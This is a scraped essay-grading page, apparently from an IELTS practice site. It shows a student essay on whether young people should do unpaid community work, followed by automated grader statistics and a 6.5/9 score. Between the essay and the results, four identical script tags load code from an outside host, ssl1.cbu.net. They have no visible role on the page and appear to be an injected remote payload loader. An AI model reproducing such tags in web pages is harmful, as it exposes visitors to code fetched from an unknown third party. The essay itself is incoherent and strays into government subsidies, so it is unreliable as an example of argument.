Some people think that young people should be required to do unpaid work in their free time to help the community. Others believe that this would be an unfair use of their time. Discuss both views and give your opinion.
In this contemporary life, there are more and more young people who prefer to do volunteer work and some people believe this should be unpaid. Meanwhile, other people believe that is unfair and waste their free time. This essay will examine both sides of the argument before conclusion is drawn.
Admittedly, there are some arguments in favor of young people being required to do unpaid work in their free time to help the community. First, government subsidies for communities are believed to equalize living conditions among people regardless of their family background. This financial support, and government not having paid work for young people would presumably tend not only to increase the overall-rate enrollment of lower-income people but also to mitigate their feeling of inferiority, which promotes an egalitarian society. For example ,unpaid work for young people that can help develop other important areas such as healthcare systems and transport infrastructure. Second, unpaid work for young adolescents to help the community in their free times would probably result in a higher supply of highly qualified workers, which benefits society in the long run. Moreover, they have the opportunity to know other bad situations and poor living conditions in this life, helping them to gain more experience in the future workplace. In fact, it is acknowledged that knowledgeable and skilled human capital is imperative to foster economic growth and technological development in any nation.
Nevertheless, the resultant would be far more significant than the minor benefits once young people don’t have the salary for their working and become unfair for some people. First, unpaid work for young people to help the community would likely correspond with a tremendous financial strain on a country. Generating no income from activity and part-time jobs, young people could become over-reliant on the state budget for funding, meaning that there would be less input to develop other important areas such as the healthcare system and transport infrastructure. Second, unpaid work for young people it’s also seem to waste their time and unfair with other people and especially would tempt many young people including those who are not academically inclined or show no interest in volunteers, thereby adding great burden for government and staff applicants and potentially wasting time that these young people could spend their time on suitable career paths. Moreover, unpaid work could make young people feel tired and bored. Also, they don’t have motivation to do that job well. It, instead, would be a more financially viable option if the resources were focused on supporting less privileged yet gifted people.
In conclusion, despite the long-term unpaid work and its help the government boosts the economy. However, this government has many drawbacks for living conditions and people’s burden. From my point of view, government and especially netizen should consider clearly before they applied for any job and it’s worth for their qualified.
<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
Post date | Users | Rates | Link to Content |
---|---|---|---|
2025-06-05 | Trần Ánh Vy | 73 | view |
- Nations should spend more money on skills and vocational training for practical work rather than on university education To what extent do you agree or disagree Write at least 250 words 78
- In some country it is illegal for companies to reject job applicants Is this positive or negative development 78
- The graph show the price of bananas in 4 different countries from 1996 to 2004 67
- In recent years pressure on school and university students has been increasing and they are pushed to work very hard from a young age Do you think this is a positive or negative development 89
- The graphs below show the percentage of men and women aged 60 64 who were employed in four countries in 1970 and 2000 67
Grammar and spelling errors:
Line 3, column 548, Rule ID: COMMA_PARENTHESIS_WHITESPACE
Message: Put a space after the comma, but not before the comma
Suggestion: ,
...otes an egalitarian society. For example ,unpaid work for young people that can he...
^^
Transition Words or Phrases used:
also, but, first, however, if, moreover, nevertheless, second, so, well, while, for example, in conclusion, in fact, such as
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 14.0 13.1623246493 106% => OK
Auxiliary verbs: 14.0 7.85571142285 178% => OK
Conjunction : 23.0 10.4138276553 221% => Less conjunction wanted
Relative clauses : 10.0 7.30460921844 137% => OK
Pronoun: 32.0 24.0651302605 133% => Less pronouns wanted
Preposition: 46.0 41.998997996 110% => OK
Nominalization: 11.0 8.3376753507 132% => OK
Performance on vocabulary words:
No of characters: 2590.0 1615.20841683 160% => OK
No of words: 477.0 315.596192385 151% => Less content wanted.
Chars per words: 5.42976939203 5.12529762239 106% => OK
Fourth root words length: 4.67336384929 4.20363070211 111% => OK
Word Length SD: 2.72932787468 2.80592935109 97% => OK
Unique words: 245.0 176.041082164 139% => OK
Unique words percentage: 0.513626834382 0.561755894193 91% => More unique words wanted or less content wanted.
syllable_count: 788.4 506.74238477 156% => OK
avg_syllables_per_word: 1.7 1.60771543086 106% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 6.0 5.43587174349 110% => OK
Article: 1.0 2.52805611222 40% => OK
Subordination: 0.0 2.10420841683 0% => More adverbial clause wanted.
Conjunction: 1.0 0.809619238477 124% => OK
Preposition: 5.0 4.76152304609 105% => OK
Performance on sentences:
How many sentences: 20.0 16.0721442886 124% => OK
Sentence length: 23.0 20.2975951904 113% => OK
Sentence length SD: 78.4240237427 49.4020404114 159% => OK
Chars per sentence: 129.5 106.682146367 121% => OK
Words per sentence: 23.85 20.7667163134 115% => OK
Discourse Markers: 6.2 7.06120827912 88% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 1.0 5.01903807615 20% => OK
Sentences with positive sentiment : 12.0 8.67935871743 138% => OK
Sentences with negative sentiment : 6.0 3.9879759519 150% => OK
Sentences with neutral sentiment: 2.0 3.4128256513 59% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.486789881396 0.244688304435 199% => OK
Sentence topic coherence: 0.165771452086 0.084324248473 197% => OK
Sentence topic coherence SD: 0.12275704556 0.0667982634062 184% => OK
Paragraph topic coherence: 0.331667552884 0.151304729494 219% => OK
Paragraph topic coherence SD: 0.121810506512 0.056905535591 214% => More connections among paragraphs wanted.
Essay readability:
automated_readability_index: 16.1 13.0946893788 123% => OK
flesch_reading_ease: 39.67 50.2224549098 79% => OK
smog_index: 8.8 7.44779559118 118% => OK
flesch_kincaid_grade: 13.4 11.3001002004 119% => OK
coleman_liau_index: 14.51 12.4159519038 117% => OK
dale_chall_readability_score: 9.11 8.58950901804 106% => OK
difficult_words: 131.0 78.4519038076 167% => OK
linsear_write_formula: 8.0 9.78957915832 82% => OK
gunning_fog: 11.2 10.1190380762 111% => OK
text_standard: 9.0 10.7795591182 83% => OK
What are above readability scores?
---------------------
Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.